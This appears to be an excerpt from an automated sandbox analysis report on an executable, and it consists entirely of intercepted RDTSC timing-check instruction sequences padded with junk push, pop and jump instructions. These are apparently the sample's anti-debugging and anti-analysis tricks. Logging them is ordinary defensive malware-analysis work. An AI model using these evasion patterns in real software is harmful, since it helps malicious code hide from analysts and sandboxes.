Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC148 second address: 6BC151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC151 second address: 6BC157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC157 second address: 6BC165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5BB112B656h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC165 second address: 6BC16B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC16B second address: 6BC171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC171 second address: 6BC185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F5BB0EE6E1Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC185 second address: 6BC195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 js 00007F5BB112B656h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C16A6 second address: 6C16CC instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F5BB0EE6E1Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C16CC second address: 6C16D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C16D2 second address: 6C16D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C16D7 second address: 6C1701 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5BB112B668h 0x00000008 pushad 0x00000009 jmp 00007F5BB112B65Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C0747 second address: 6C074D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C08C5 second address: 6C08CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C08CD second address: 6C08E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E22h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64070F second address: 640730 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5BB112B656h 0x00000008 jmp 00007F5BB112B667h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640730 second address: 64073D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jbe 00007F5BB0EE6E16h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64073D second address: 640762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5BB112B668h 0x0000000c jnp 00007F5BB112B656h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4336 second address: 6C433C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C433C second address: 6C4342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4342 second address: 6C4346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C44AB second address: 6C44C9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5BB112B656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F5BB112B660h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C45E8 second address: 6C45EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C45EC second address: 6C45F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C45F2 second address: 6C4631 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5BB0EE6E25h 0x00000010 push ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jmp 00007F5BB0EE6E23h 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6A06 second address: 6C6A0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6A0C second address: 6C6A11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6B8D second address: 6C6B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC419 second address: 6CC434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5BB0EE6E24h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC434 second address: 6CC444 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5BB112B65Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC444 second address: 6CC454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F5BB0EE6E16h 0x0000000a jne 00007F5BB0EE6E16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC454 second address: 6CC462 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B65Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC462 second address: 6CC46F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC46F second address: 6CC474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC966 second address: 6CC97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f popad 0x00000010 push ecx 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC97A second address: 6CC99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB112B665h 0x00000009 pop edi 0x0000000a jng 00007F5BB112B65Eh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1E6C second address: 6D1E7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F5BB0EE6E16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D20F6 second address: 6D20FC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D22A0 second address: 6D22A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D22A6 second address: 6D22AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2428 second address: 6D2442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E1Bh 0x00000009 jno 00007F5BB0EE6E16h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2442 second address: 6D2448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2448 second address: 6D2452 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5BB0EE6E22h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2452 second address: 6D2458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2458 second address: 6D247E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F5BB0EE6E24h 0x0000000b jmp 00007F5BB0EE6E1Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D260B second address: 6D2632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jo 00007F5BB112B660h 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7874 second address: 6D7879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7879 second address: 6D7893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B666h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7893 second address: 6D7897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7897 second address: 6D789D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632F77 second address: 632F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F5BB0EE6E23h 0x0000000e pop edi 0x0000000f push esi 0x00000010 jo 00007F5BB0EE6E16h 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D7528 second address: 6D752C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF3B7 second address: 6DF3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DDB19 second address: 6DDB36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F5BB112B65Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F5BB112B656h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE94 second address: 6DEEB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E26h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEEB2 second address: 6DEEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEEB7 second address: 6DEEBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEEBE second address: 6DEEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF14C second address: 6DF152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF152 second address: 6DF157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2225 second address: 6E2237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5BB0EE6E1Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2237 second address: 6E223C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E88CD second address: 6E8903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F5BB0EE6E1Eh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop ecx 0x00000015 pushad 0x00000016 jmp 00007F5BB0EE6E26h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8903 second address: 6E890A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E890A second address: 6E8918 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5BB0EE6E18h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC31 second address: 63EC4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B666h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EC4B second address: 63EC68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5BB0EE6E28h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F19D2 second address: 6F19DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F19DA second address: 6F19E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F19E4 second address: 6F19EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F19EB second address: 6F1A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5BB0EE6E16h 0x0000000a jmp 00007F5BB0EE6E23h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFFCD second address: 6EFFD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFFD1 second address: 6EFFDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5BB0EE6E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFFDD second address: 6EFFE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFFE2 second address: 6EFFEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5BB0EE6E16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EFFEE second address: 6F0012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jno 00007F5BB112B658h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5BB112B660h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0752 second address: 6F0756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F09E9 second address: 6F09EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F09EF second address: 6F09F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F09F3 second address: 6F09F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F09F9 second address: 6F09FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F09FF second address: 6F0A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B65Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0A16 second address: 6F0A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F56B4 second address: 6F56C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007F5BB112B656h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F88C2 second address: 6F88EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pushad 0x00000010 jnc 00007F5BB0EE6E16h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F818D second address: 6F8192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8192 second address: 6F81E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 jg 00007F5BB0EE6E2Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jns 00007F5BB0EE6E18h 0x00000018 jnl 00007F5BB0EE6E34h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F84ED second address: 6F850D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5BB112B656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5BB112B662h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F850D second address: 6F851A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F851A second address: 6F851E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F851E second address: 6F8524 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8524 second address: 6F8540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B666h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8540 second address: 6F8546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704660 second address: 704670 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jo 00007F5BB112B656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704670 second address: 704674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704674 second address: 70467A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70467A second address: 704689 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5BB0EE6E1Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704689 second address: 704694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 704694 second address: 70469E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5BB0EE6E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70469E second address: 7046BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F5BB112B65Fh 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7046BB second address: 7046C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
